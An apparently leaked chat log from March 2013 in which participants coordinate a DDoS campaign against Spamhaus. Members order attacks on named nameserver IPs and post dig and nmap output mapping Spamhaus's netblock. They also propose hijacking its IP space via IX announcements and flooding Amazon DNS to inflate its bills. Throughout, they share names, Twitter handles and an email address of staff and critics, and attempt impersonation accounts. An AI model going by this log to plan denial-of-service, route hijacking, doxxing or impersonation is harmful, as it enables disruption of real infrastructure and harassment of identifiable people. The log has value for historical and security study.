2417[19.03.2013 01:34:11] Cali: Btw, I can't register on stophaus.com
2418[19.03.2013 01:34:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: nobody goes to .eu for now anyway
2419[19.03.2013 01:34:13] Cali: because of the captcha.
2420[19.03.2013 01:34:19] Cali: the captcha does not load.
2421[19.03.2013 01:34:20] Antitheist: they have to be kicked out of .eu!!! they fucking violate laws of EU
2422[19.03.2013 01:34:20] Yuri: DNS should be down. then all DNSBL die
2423[19.03.2013 01:34:54] Antitheist: 3 good lawyers and the zone is down
2424[19.03.2013 01:35:01] Antitheist: who is in charge of EU?
2425[19.03.2013 01:35:11] Yuri: i am in charge for Russia
2426[19.03.2013 01:35:15] Antitheist: lol
2427[19.03.2013 01:35:20] Antitheist: you are nic.ru?
2428[19.03.2013 01:35:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Registrant
2429Name Spamhaus Hostmaster
2430Organisation The Spamhaus Project
2431Language English
2432Address
2433
2434
2435Phone
2436Fax
2437Email
2438[19.03.2013 01:35:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: didn't that ltd no longer exist?
2439[19.03.2013 01:36:37] Antitheist: Name servers:
2440isla.ns.cloudflare.com
2441walt.ns.cloudflare.com
2442[19.03.2013 01:36:40] Antitheist: spamhaus.eu
2443[19.03.2013 01:36:54] Antitheist: once we take them both (1gbit each) they are down
2444[19.03.2013 01:37:41] Antitheist: can we give them a few walts from a few islands? :P
2445[19.03.2013 01:37:42] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: those are not just one nameserver...
2446[19.03.2013 01:37:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
2447[19.03.2013 01:37:53] Antitheist: well dig spamhaus.eu
2448[19.03.2013 01:38:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and its a waste of time to do the .eu one
2449[19.03.2013 01:38:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: their shitlist, AND spamhaus.org which is in google
2450[19.03.2013 01:38:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: are on the spamhaus.org servers
2451[19.03.2013 01:38:25] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: which they can't put on cloudflare anyway
2452[19.03.2013 01:38:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so just take those 8 down
2453[19.03.2013 01:39:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:spamhaus.eu is just a website... and not even in google with that tld
2454[19.03.2013 01:39:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
2455[19.03.2013 01:39:38] Antitheist: its anyway funny to see spamhaus with a costarica flag in flagfox :D
2456[19.03.2013 01:41:09] Cali: with some luck we could maybe retrieve the IP of the content server.
2457[19.03.2013 01:41:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: we probably already have it
2458[19.03.2013 01:42:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: narko, take spamhaus.as1101.net down for a few minutes
2459[19.03.2013 01:42:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: which has 3 ips only one of which works
2460[19.03.2013 01:42:35] eDataKing: what content server? The website content?
2461[19.03.2013 01:42:42] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yep
2462[19.03.2013 01:42:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i bet its been on that spamhaus.as1101.net box all the time
2463[19.03.2013 01:43:48] narko: google dns is still updating smaphaus
2464[19.03.2013 01:43:50] narko: spamhaus
2465[19.03.2013 01:43:58] narko: is it possible to see which server it is accessng?
2466[19.03.2013 01:43:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 192.150.94.202
2467[19.03.2013 01:44:01] narko: they are all down fr me
2468[19.03.2013 01:44:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: try to take that down for a few minutes
2469[19.03.2013 01:44:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and we'll see
2470[19.03.2013 01:44:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
2471[19.03.2013 01:46:59] Antitheist: i know that legally cloudflare have a rule in their tos that if you submit your claimed real identity, they are obligated by law to give you the real IP of any website
2472[19.03.2013 01:47:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats not the one i guess
2473[19.03.2013 01:47:23] Antitheist: since they never intend to be a BP hoster
2474[19.03.2013 01:47:29] narko: they are
2475[19.03.2013 01:47:48] narko: they host all illegal sites and say 'we are just a proxy we dont have the power to do anything'
2476[19.03.2013 01:47:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:
2477<<< 192.150.94.202 is alreayd down
2478[19.03.2013 01:47:52] narko: because its a dns server
2479[19.03.2013 01:48:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm. ah
2480[19.03.2013 01:48:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: good!
2481[19.03.2013 01:52:47] eDataKing: This guy is a snitch: www.twitter.com/jgouv
2482[19.03.2013 01:53:20] eDataKing: @cauce @spamhaus seams to relate tohttp://t.co/MEVDua5RNK and http://t.co/WHY7t8wufL
2483[19.03.2013 01:54:38] narko: i do not understand
2484[19.03.2013 01:54:41] narko: how google is updating
2485[19.03.2013 01:54:47] narko: when all the dns are timnig out
2486[19.03.2013 01:54:48] narko: timing out
2487[19.03.2013 01:55:06] Antitheist: google dont need dns to know the ip
2488[19.03.2013 01:55:11] Antitheist: (chuck norris jokes)
2489[19.03.2013 01:56:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ipv6
2490[19.03.2013 01:57:22] Antitheist: do you know whats the best thing we can do? its a bit pain in the ass but still
2491[19.03.2013 01:57:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: user@desktop:~$ dig ANY spamhaus.org
2492
2493; <<>> DiG 9.8.1-P1 <<>> ANY spamhaus.org
2494;; global options: +cmd
2495;; Got answer:
2496;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 60148
2497;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
2498
2499;; QUESTION SECTION:
2500;spamhaus.org. IN ANY
2501
2502;; Query time: 5410 msec
2503;; SERVER: 8.8.8.8#53(8.8.8.8)
2504;; WHEN: Mon Mar 18 23:57:39 2013
2505;; MSG SIZE rcvd: 30
2506[19.03.2013 01:57:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yay
2507[19.03.2013 01:57:57] narko: c:\dig>dig www.spamhaus.org @8.8.8.8 any
2508
2509; <<>> DiG 9.3.2 <<>> www.spamhaus.org @8.8.8.8 any
2510; (1 server found)
2511;; global options: printcmd
2512;; Got answer:
2513;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 83
2514;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
2515
2516;; QUESTION SECTION:
2517;www.spamhaus.org. IN ANY
2518
2519;; Query time: 31 msec
2520;; SERVER: 8.8.8.8#53(8.8.8.8)
2521;; WHEN: Tue Mar 19 01:57:46 2013
2522;; MSG SIZE rcvd: 34
2523[19.03.2013 01:57:59] Antitheist: move many snowshoe / ugg / pharmacy / whatever "criminal" thing you guys do to cloudflare
2524[19.03.2013 01:58:00] narko: it stopped working
2525[19.03.2013 01:58:20] Antitheist: then they will list /24s -> after 1 month cloudflare will kick them :D
2526[19.03.2013 01:58:35] Antitheist: or even more epic : shithaus will be in the SBL
2527[19.03.2013 01:59:41] narko: status: NOERROR,
2528[19.03.2013 01:59:42] narko: its back
2529[19.03.2013 01:59:45] narko: wtf:(
2530[19.03.2013 02:01:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm now thats funny... when the .org nameservers don't work... spamhaus.eu also doens't work :P
2531[19.03.2013 02:01:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hence... the real website... is either on a spamhaus.org or spamhaus.nethostname, or on one of the main 8 nameservers
2532[19.03.2013 02:01:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
2533[19.03.2013 02:02:31] Òðûõрøù Ûёûøý: great
2534[19.03.2013 02:02:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: either way the website is irrelevant as long as we keep the dns bl's down by keepingspamhaus.org itself down
2535[19.03.2013 02:02:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: asspamhaus.eu is not in google and nobody will find it anyway
2536[19.03.2013 02:03:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: withoutspamhaus.org cname'ing it
2537[19.03.2013 02:03:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: (that and its registered to a no longer existing limited... but an adr procedure for .eu costs 700 euro ;)
2538[19.03.2013 02:07:59] Yuri: I am sure they have a rack of servers, not much. but somewhere in NL.
2539not far from xs4all
2540[19.03.2013 02:08:26] narko: i think surfnet and xs4all is their main infrastructure location
2541[19.03.2013 02:08:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yep
2542[19.03.2013 02:08:51] Yuri: let me scan network again
2543[19.03.2013 02:09:03] narko: added some extra gbit/s to two dns servers that seemed half-up :) lets see if google dns renews it now
2544[19.03.2013 02:09:28] Yuri: fuck.. no dns resolve :))))
2545[19.03.2013 02:09:45] narko: (mm)
2546[19.03.2013 02:09:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: when -these- time out, they're out of business
2547[19.03.2013 02:10:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: <<>> DiG 9.8.1-P1 <<>> A b.ns.spamhaus.org
2548;; global options: +cmd
2549;; Got answer:
2550;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4274
2551;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 0
2552
2553;; QUESTION SECTION:
2554;b.ns.spamhaus.org. IN A
2555
2556;; ANSWER SECTION:
2557b.ns.spamhaus.org. 11151 IN A 192.150.94.204
2558b.ns.spamhaus.org. 11151 IN A 193.74.22.150
2559b.ns.spamhaus.org. 11151 IN A 193.190.182.41
2560b.ns.spamhaus.org. 11151 IN A 193.190.198.15
2561
2562;; Query time: 142 msec
2563[19.03.2013 02:10:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 11151 secs left on that one
2564[19.03.2013 02:10:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hehee
2565[19.03.2013 02:10:12] Yuri: that's the network
2566[19.03.2013 02:10:12] Mastermind of Possibilities:
2567<<< smtp-ext-layer.spamhaus.org (ns8.spamhaus.org. [82.94.216.239])
2568[19.03.2013 02:10:27] Yuri: 82.94.216.0/24
2569[19.03.2013 02:10:36] narko: they only have /27
2570[19.03.2013 02:10:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thought it was just a /29
2571[19.03.2013 02:10:39] eDataKing: yup
2572[19.03.2013 02:10:39] Yuri: i do scan
2573[19.03.2013 02:10:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ah
2574[19.03.2013 02:10:49] narko: it's this rethem hosting very annoying
2575[19.03.2013 02:10:53] narko: with their protections
2576[19.03.2013 02:11:23] Yuri: yap
2577netnum: 82.94.216.224 - 82.94.216.255
2578netname: XS4ALL-CUST-1167147
2579descr: Spamhaus Logistics Corp.
2580[19.03.2013 02:11:30] Yuri: but i scanned /24
2581[19.03.2013 02:12:00] eDataKing: that's their server support subsidiary company
2582[19.03.2013 02:12:55] Yuri: nexthost: failed to determine route to 82.94.216.224
2583[19.03.2013 02:12:59] narko: i wish i had the money for all these companies :P when i have to pay €90/yr for my virtual office i delay it for as long as possible
2584[19.03.2013 02:14:01] narko: wtf
2585[19.03.2013 02:14:03] narko: No matching routes found for 82.94.216.0/24.
2586[19.03.2013 02:14:27] narko: oh
2587[19.03.2013 02:14:31] narko: it is not that
2588[19.03.2013 02:18:45] Yuri: Nmap scan report for 82.94.216.224
2589Nmap scan report for vlan114.swcolo1.eh1.xs4all.net (82.94.216.225)
2590Nmap scan report for 82.94.216.226
2591Nmap scan report for 82.94.216.227
2592Nmap scan report for 82.94.216.228
2593Nmap scan report for 82.94.216.229
2594Nmap scan report for 82.94.216.230
2595Nmap scan report for 82.94.216.231
2596Nmap scan report for 82.94.216.232
2597Nmap scan report for 82.94.216.233
2598Nmap scan report for 82.94.216.234
2599Nmap scan report for 82.94.216.235
2600Nmap scan report for 82.94.216.236
2601Nmap scan report for 82.94.216.237
2602Nmap scan report for 82.94.216.238
2603Nmap scan report for ns8.spamhaus.org (82.94.216.239)
2604Nmap scan report for smtp-ext-layer-b.spamhaus.org (82.94.216.240)
2605Nmap scan report for avalon.spamhaus.org (82.94.216.241)
2606Nmap scan report for merlin.spamhaus.org (82.94.216.242)
2607Nmap scan report for deimos.cbl.abuseat.org (82.94.216.243)
2608Nmap scan report for 82.94.216.244
2609Nmap scan report for 82.94.216.245
2610Nmap scan report for mail.swlcert.com (82.94.216.246)
2611Nmap scan report for 82.94.216.247
2612Nmap scan report for 82.94.216.248
2613Nmap scan report for 82.94.216.249
2614Nmap scan report for cbl.abuseat.org (82.94.216.250)
2615Nmap scan report for mail.cbl.abuseat.org (82.94.216.251)
2616Nmap scan report for rsync.cbl.abuseat.org (82.94.216.252)
2617Nmap scan report for ns1-cbl.abuseat.org (82.94.216.253)
2618Nmap scan report for 82.94.216.254
2619Nmap scan report for 82.94.216.255
2620[19.03.2013 02:18:58] Yuri: http://stophaus.com/newreply.php?do=postreply&t=75
2621[19.03.2013 02:19:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh what a surprise... abuseat is in the same netblock
2622[19.03.2013 02:19:20] Yuri: so they have a rack or half a rack with own switch
2623[19.03.2013 02:19:21] Yuri: <<< vlan114.swcolo1.eh1.xs4all.net
2624[19.03.2013 02:21:32] eDataKing: wow, you guys weren't listening at all ;)
2625[19.03.2013 02:21:41] Antitheist: lol
2626[19.03.2013 02:22:00] eDataKing: abuseat is where the cbl is hosted. It is Steve Atkins server. He is Laura Atkins husband.
2627[19.03.2013 02:22:11] eDataKing: I am sure you know who Laura is by now.
2628[19.03.2013 02:22:18] Yuri: post that on stophaus.com
2629[19.03.2013 02:22:28] eDataKing: just teasing, but I have been trying to say that all day lol
2630[19.03.2013 02:23:03] eDataKing: http://stophaus.com/showthread.php?38-CBL-Website-Abuseat-org
2631[19.03.2013 02:23:31] Yuri: ok
2632[19.03.2013 02:27:10] narko: http://www.spamhaus.org/sbl/query/SBL179317
2633[19.03.2013 02:29:49] eDataKing: desperately trying to suppress the content
2634[19.03.2013 02:29:50] eDataKing: they are scared
2635[19.03.2013 02:29:57] narko: why would they sbl my mail ip
2636[19.03.2013 02:30:01] narko: it's not even used
2637[19.03.2013 02:30:02] narko: lol
2638[19.03.2013 02:30:06] Yuri: Ö))))
2639[19.03.2013 02:30:11] Yuri: they try to fuck all
2640[19.03.2013 02:30:13] eDataKing: because it says stophaus.com on it
2641[19.03.2013 02:30:30] eDataKing: and they are trying to prevent stophaus.comfrom being able to send new registration emails on the forum
2642[19.03.2013 02:30:41] narko: yes but thes ip isn't used for outgoing mail
2643[19.03.2013 02:30:44] narko: only for incoming
2644[19.03.2013 02:30:55] narko: spamhaus are anti-SPAM and an incoming-only mail server cannot possibly be used to spam
2645[19.03.2013 02:30:58] narko: :^)
2646[19.03.2013 02:31:11] eDataKing: then it is merely because it bears the name
2647[19.03.2013 02:32:13] narko: I will sue spamhaus for this listing but i can't afford the lawyer to do it myself..
2648[19.03.2013 02:32:26] Yuri: hey men, if they cache all information from there main DNS to slave DNS with rsync then other DNS can continue work.
2649[19.03.2013 02:32:58] Yuri: i have a jurist who can do evething but inside russia, he don't know english.. that's tha falt.
2650[19.03.2013 02:33:03] Yuri: but in russia - anything for you.
2651[19.03.2013 02:34:17] eDataKing: http://stophaus.com/showthread.php?78-Spamhaus-Attacks-STOPhaus-INCOMING-MAIL-ONLY-Communication-Email&p=98#post98
2652[19.03.2013 02:36:42] Yuri: uh... i will do some extra PR right now for spamhaus in twitter.. that will be cool
2653[19.03.2013 02:40:05] eDataKing: take a look at @tap0utextreme
2654[19.03.2013 02:42:53] narko: DNS Resolution Error
2655
2656You've requested a page on a website (www.spamhaus.org) that is on the CloudFlare network. Unfortunately, CloudFlare is currently unable to resolve your requested domain (www.spamhaus.org). There are two potential causes of this:
2657[19.03.2013 02:47:51] Yuri: i try to regisster some twitter accounts on the name of some spamhaus team members
2658[19.03.2013 02:47:59] Yuri: but looks all are used.
2659[19.03.2013 02:48:04] Yuri: looks i found some more information about them
2660[19.03.2013 02:48:34] eDataKing: post it to stophaus
2661[19.03.2013 02:48:37] eDataKing: in the water cooler
2662[19.03.2013 02:48:39] Antitheist: for me www.spamhaus.org works perfect :/
2663[19.03.2013 02:48:51] eDataKing: it has been back up since cloudflare
2664[19.03.2013 02:57:22] Alex Optik: i said at once that spamhaus will live!
2665[19.03.2013 02:57:52] eDataKing: what do you mean by that?
2666[19.03.2013 02:58:16] Alex Optik: i mean i expected that they will be online!soon
2667[19.03.2013 02:59:10] eDataKing: sure, that would make sense. They should always mitigate damages and be back. The damage is done, have you read the media lately?
2668[19.03.2013 02:59:23] eDataKing: what is your take on it. Do you think they should be up or down?
2669[19.03.2013 02:59:24] Alex Optik: by the way
2670[19.03.2013 02:59:32] Alex Optik: they even added already 0/24
2671[19.03.2013 02:59:39] Spamahost: Wait, what if someone does something to cloudflare? ^^ hehe ;)
2672[19.03.2013 02:59:41] Alex Optik: where is stophaus located
2673[19.03.2013 02:59:48] eDataKing: yeah, I saw that
2674[19.03.2013 03:00:06] eDataKing: pretty much a demonstration of one of the things we are exposing
2675[19.03.2013 03:00:12] narko: they added the incoming mail server too
2676[19.03.2013 03:00:13] narko: with the message
2677[19.03.2013 03:00:14] narko:
2678Please terminate service
2679[19.03.2013 03:00:28] eDataKing: list-on-site
2680[19.03.2013 03:01:19] Yuri: what a nice twitter
2681https://twitter.com/carelstraten
2682[19.03.2013 03:01:42] Yuri: picture update don;'t work on twitter right now. do it later.
2683[19.03.2013 03:01:52] eDataKing: Alex, how do you feel about them using the SBL (which means that there is active spamming going on) to cause termination, that would otherwise not violate any AUP, so that they can keep their smear files up and avoid public exposure?
2684[19.03.2013 03:02:00] eDataKing: jk, but seriously dude ;)
2685[19.03.2013 03:02:15] Yuri: looks they are realy afraid.
2686[19.03.2013 03:02:31] eDataKing: they are definitely in fear.
2687[19.03.2013 03:02:37] Yuri: we will protect stophaus.com from closing.
2688[19.03.2013 03:02:50] eDataKing: Alex, just so you know. I am open to all opinions as long as defamation is not one of them
2689[19.03.2013 03:03:30] narko: donate me $3000 to sue them in the united kingdom where their companys is located for putting my ip on SBL :P
2690[19.03.2013 03:03:42] eDataKing: stability is the most important thing. The more content that is indexed in their files, the more media it gets and the people get to decide for themselves what they think is right
2691[19.03.2013 03:03:55] eDataKing: they would win
2692[19.03.2013 03:04:03] eDataKing: or so they say
2693[19.03.2013 03:22:36] Yuri: heh
2694stophaus.com is listed in the DBL
2695stophaus.com
2696[19.03.2013 03:22:56] Yuri: looks they chaged some DNSs
2697[19.03.2013 03:22:57] Yuri: Name Server:NS20.JA.NET
2698Name Server:NS3.SPAMHAUS.ORG
2699Name Server:NS-1370.AWSDNS-43.ORG
2700Name Server:NS-85.AWSDNS-10.COM
2701Name Server:NS-1743.AWSDNS-25.CO.UK
2702Name Server:NS-971.AWSDNS-57.NET
2703Name Server:FI503-NIJ.SURFNET.NL
2704Name Server:FI503-HFJ.SURFNET.NL
2705[19.03.2013 03:26:27] narko: yyes
2706[19.03.2013 03:26:37] narko: probably the old company rehem did not want to keep them after all that ddos :P
2707[19.03.2013 03:28:35] Alex Optik: but the question is
2708[19.03.2013 03:28:40] narko: a technique with AWSDNS (Amazon) is to just make a few gbit/s of queries for spamhaus.org
2709[19.03.2013 03:28:43] narko: it will not go down..
2710[19.03.2013 03:28:44] Alex Optik: who will keep them?
2711[19.03.2013 03:28:48] narko: but their bill will be $100000
2712[19.03.2013 03:28:56] Alex Optik: with such spec
2713[19.03.2013 04:05:00] narko: i am going to sleep now and we will do some more attakcs tomrow
2714[19.03.2013 04:05:03] narko: their mail server is sitll down
2715[19.03.2013 04:05:06] narko: and null routed
2716[19.03.2013 04:05:17] narko: so people cannot get de-listed
2717[19.03.2013 04:07:21] Yuri: Ok, fine. I am go sleep too
2718[19.03.2013 04:14:10] Yuri: i am off
2719[19.03.2013 06:02:26] eDataKing: James Senase of Cook County Illinois
2720Engineer for giant ESP anti-spam team. Kansas City
2721http://stophaus.com/showthread.php?120-James-Senase-of-Kansas-City-IL&p=146#post146
2722[19.03.2013 07:05:46] eDataKing: Someone was asking about images. There are some photos added to the forum now. Here is an examplehttp://stophaus.com/showthread.php?65-Main-Info-for-Kelly-David-Chien-of-Chienworks-aka-ToastedSPAM
2723[19.03.2013 07:12:31] simomchen: 90% new lists about Andrew Stephens in spamhaus today
2724[19.03.2013 07:13:19] eDataKing: but they have called everyone that is not me a sock and attributed everything they call negative to me.
2725[19.03.2013 07:13:47] eDataKing: And we all know I am not here alone, nor can I do the things that have been accomplished
2726[19.03.2013 07:13:48] simomchen: they guess Andrew Stephens ddos them , so , list and list and list...
2727[19.03.2013 07:13:56] eDataKing: but you can see why my ROKSO file is so big now
2728[19.03.2013 07:14:22] eDataKing: they guess Andrew did everything to them. They can't imagine another possibility
2729[19.03.2013 07:14:54] eDataKing: but you see they guess and list...never confirming
2730[19.03.2013 07:15:02] eDataKing: and that is another of the big points about them
2731[19.03.2013 07:15:54] simomchen: they became carzy
2732[19.03.2013 07:16:19] simomchen: so , they leave perish closer , hehe
2733[19.03.2013 07:17:39] simomchen: look at the time of their least lists
2734[19.03.2013 07:17:46] simomchen: few seconds each one
2735[19.03.2013 07:18:20] simomchen: 19-Mar 03:32 GMT
273619-Mar 03:31 GMT
273719-Mar 03:27 GMT
273819-Mar 03:26 GMT
273919-Mar 03:17 GMT
2740[19.03.2013 07:19:20] simomchen:http://www.spamhaus.org/rokso/spammer/SPM1175/andrew-stephens-mail-mascot
2741[19.03.2013 07:19:31] simomchen: what the fuck , they list a photo
2742[19.03.2013 07:19:36] simomchen: shit
2743[19.03.2013 07:20:05] simomchen: they made invasion of privacy in the internet
2744[19.03.2013 07:21:21] simomchen: is there a spy of SH in this group ?
2745[19.03.2013 07:21:27] simomchen: why they know your skype ?
2746[19.03.2013 07:23:02] eDataKing: because edataking has been my skype for a long time
2747[19.03.2013 07:41:09] eDataKing: Wow,
2748[19.03.2013 07:41:10] eDataKing: http://stophaus.com/showthread.php?124-Spamhaus-libels-a-Church-with-Verifiable-Proof-of-Fabrication&p=150#post150
2749[19.03.2013 08:01:24] Yuri: good morning
2750[19.03.2013 08:01:32] Yuri: it was short night for me.... fuck
2751[19.03.2013 08:01:40] Yuri: spamhaus is down ? again :) ?
2752[19.03.2013 08:02:09] Yuri: looks it's some our friend work
2753----
27546:26:22 AM) aurora67@jabber.se: ok
2755(6:57:19 AM) aurora67@jabber.se: hey
2756(6:57:19 AM) aurora67@jabber.se: server is down )
2757(6:57:20 AM) aurora67@jabber.se: spamhaus.org
2758(6:57:24 AM) aurora67@jabber.se: i think its me who taking it down
2759(6:57:25 AM) aurora67@jabber.se: :D
2760--------
2761[19.03.2013 08:02:31] simomchen: it works at my location
2762[19.03.2013 08:02:52] Yuri: try to browse pages. may be it's just some cache
2763[19.03.2013 08:03:15] simomchen: http://www.spamhaus.org/sbl/latest/
2764[19.03.2013 08:03:23] simomchen: this page having some new lists
2765[19.03.2013 08:03:38] simomchen: so, not a cache
2766[19.03.2013 08:03:57] Yuri: yes. now it's opened
2767[19.03.2013 08:05:14] Yuri: hey try to find and fuckup stophaus.com website
2768[19.03.2013 08:05:25] simomchen: yes
2769[19.03.2013 08:05:27] eDataKing: http://www.webhostingtalk.com/showthread.php?p=8606855#post8606855
2770[19.03.2013 08:05:43] eDataKing: Yuri:
2771<<< hey try to find and fuckup stophaus.com website
2772[19.03.2013 08:05:47] eDataKing: what do you mean by that?
2773[19.03.2013 08:06:08] simomchen: they wanna to take stophais.com down
2774[19.03.2013 08:06:18] eDataKing: well hell yeah they do
2775[19.03.2013 08:06:35] eDataKing: it exposes all the things they have spent years trying to hide from the public
2776[19.03.2013 08:07:00] eDataKing: and look at the responses that people are giving. People are actually stating how much they don't like SPamhaus now.
2777[19.03.2013 08:07:10] eDataKing: That hasn't happened in...well...ever really
2778[19.03.2013 08:07:20] Yuri: we changed IP of that site at night
2779[19.03.2013 08:07:23] Yuri: and they add new SBLs
2780[19.03.2013 08:07:24] Yuri: for that
2781[19.03.2013 08:07:32] eDataKing: yes and they always will
2782[19.03.2013 08:07:47] eDataKing: Did you follow the fight we had for 2 years before this?
2783[19.03.2013 08:08:03] eDataKing: it was all over these practices. These practices are the reason we are all here
2784[19.03.2013 08:08:09] Yuri: what does SR record mean in SBLs?
2785SR01
2786SR32
2787SR15 and etc
2788[19.03.2013 08:08:20] eDataKing: if they didn't do that, I would be out helping a person find a place to live right now.
2789[19.03.2013 08:08:36] eDataKing: the level of the Operative that reported it I suppose.
2790[19.03.2013 08:08:39] eDataKing: Not really sure
2791[19.03.2013 08:09:14] Yuri: aha....
2792[19.03.2013 08:09:25] Yuri: looks i see one number who create SPAM sbls
2793[19.03.2013 08:09:29] Yuri: other one do virus SBLs
2794[19.03.2013 08:09:32] Yuri: and etc
2795[19.03.2013 08:09:34] Yuri: cool
2796[19.03.2013 08:09:55] Yuri: i will ask our programmer to parce all that information so we see who create SBLs
2797[19.03.2013 08:09:58] eDataKing: ok, that is news to me
2798[19.03.2013 08:10:02] eDataKing: good data though
2799[19.03.2013 08:10:09] simomchen: how many guys having asn in this group ?
2800[19.03.2013 08:10:11] Yuri: then we could be possible to find out more information
2801[19.03.2013 08:10:25] Yuri: much of the group is sleeping
2802[19.03.2013 08:10:30] simomchen: how about we hijack spamhaus's IP together , if can not take them down again ?
2803[19.03.2013 08:10:59] Yuri: we would like to.
2804[19.03.2013 08:11:08] Yuri: but we need upstream who will allow us to do that
2805[19.03.2013 08:11:25] simomchen: we can just announce those over IX exchange
2806[19.03.2013 08:11:34] simomchen: them , do not need upstream allow this
2807[19.03.2013 08:11:39] nmetluk: Russian upstreams allow:)
2808[19.03.2013 08:13:10] Yuri: (at least we have one good russian upstream here)
2809[19.03.2013 08:14:15] Yuri: spamhaus desided to bring some shit sbls toinfiumhost.com, /22 listed just for nothing.
2810and some extra SBLs to pinspb
2811[19.03.2013 08:14:28] eDataKing: that is how they do it
2812[19.03.2013 08:14:35] eDataKing: that is why it is terrorism
2813[19.03.2013 08:14:57] simomchen: SH will force upstreams disconnect them
2814[19.03.2013 08:15:05] simomchen: that's their next step
2815[19.03.2013 08:15:15] Yuri: they are too big to be disconneted
2816[19.03.2013 08:15:22] eDataKing: yes, the upstream does not really make the decision because the decision is coerced through damages
2817[19.03.2013 08:15:43] eDataKing: who is too big to be disconnected?
2818[19.03.2013 08:16:03] simomchen: infiumhost.com ?
2819[19.03.2013 08:16:31] Yuri: pinspb.ru
2820[19.03.2013 08:16:33] Yuri: gpt.ru
2821[19.03.2013 08:16:42] Yuri: and other that was with some new sbls today
2822[19.03.2013 08:16:50] Yuri: currenty it's just nothing serious
2823[19.03.2013 08:16:58] Yuri: they keep searching
2824[19.03.2013 08:17:24] eDataKing: most upstreams will at least look at the situation at hand and make a decision based on the reality and not just a false report
2825[19.03.2013 08:17:27] simomchen: they started searching since they downed , I think
2826[19.03.2013 08:17:33] eDataKing: unless they are scared of spamhaus and many of them are
2827[19.03.2013 08:17:56] eDataKing: [ThomasSpamhaus]
2828
2829We successfully managed to bring http://t.co/QRae2HxTB5 online again. We are currently in the process of restoring the remaining services.
2830ThomasSpamhaus 2:15web
2831[19.03.2013 08:19:10] simomchen: why linkford didn't said anything in this case ? does that old guy already dead ?
2832[19.03.2013 08:19:59] Yuri: i think he doesn't do any business here. he has enough angry ugly managers.
2833[19.03.2013 08:21:11] simomchen: usually , they will release something in their SH main site after they 'resolved' issue
2834[19.03.2013 08:21:37] eDataKing: linford does not speak on twitter
2835[19.03.2013 08:21:40] eDataKing: he posts to nanae'
2836[19.03.2013 08:21:47] eDataKing: under a fake name
2837[19.03.2013 08:22:12] eDataKing: usually Frank Bollo usingfrank.o.bollo@googlemail.com
2838[19.03.2013 08:22:56] eDataKing: groups.google.com/group/news.admin.net-abuse.email/browse_thread/thread/1c549a3efc28d70a
2839[19.03.2013 08:23:16] Yuri: aha... i see
2840[19.03.2013 08:24:33] simomchen: Donate to the fund needed to shut SH down for good. Send your donations via Bitcoin to 17SgMS56W6s1oMU7oEZ66NFkbEk1socnTJ
2841[19.03.2013 08:24:38] simomchen: who's account ?
2842[19.03.2013 08:24:44] simomchen: Narko ?
2843[19.03.2013 08:28:29] eDataKing: that one is a new BC account
2844[19.03.2013 08:33:06] Yuri: yes
2845[19.03.2013 08:33:12] Yuri: but he better preffer servers
2846[19.03.2013 08:33:40] simomchen: well , let me register a bitcoin account ,
2847[19.03.2013 08:55:10] eDataKing: If we want to hit them hard we would be looking at their premium services like spamhauswhitelist.com and spamteq.com
2848[19.03.2013 08:55:17] eDataKing: they are both on the same server.
2849[19.03.2013 08:55:33] eDataKing: and from my understanding, that is the same server that the RBLs are on
2850[19.03.2013 09:00:56] eDataKing: If this isn't a load of crap. On the webpage for SH datafeeds at Spamteq.com:
2851
2852
2853Spam capture rate
285498.92%
2855Spam capture, pre-data
285698.27%
2857False positives
28580.00%
2859[19.03.2013 09:01:08] eDataKing: How much do you believe that?
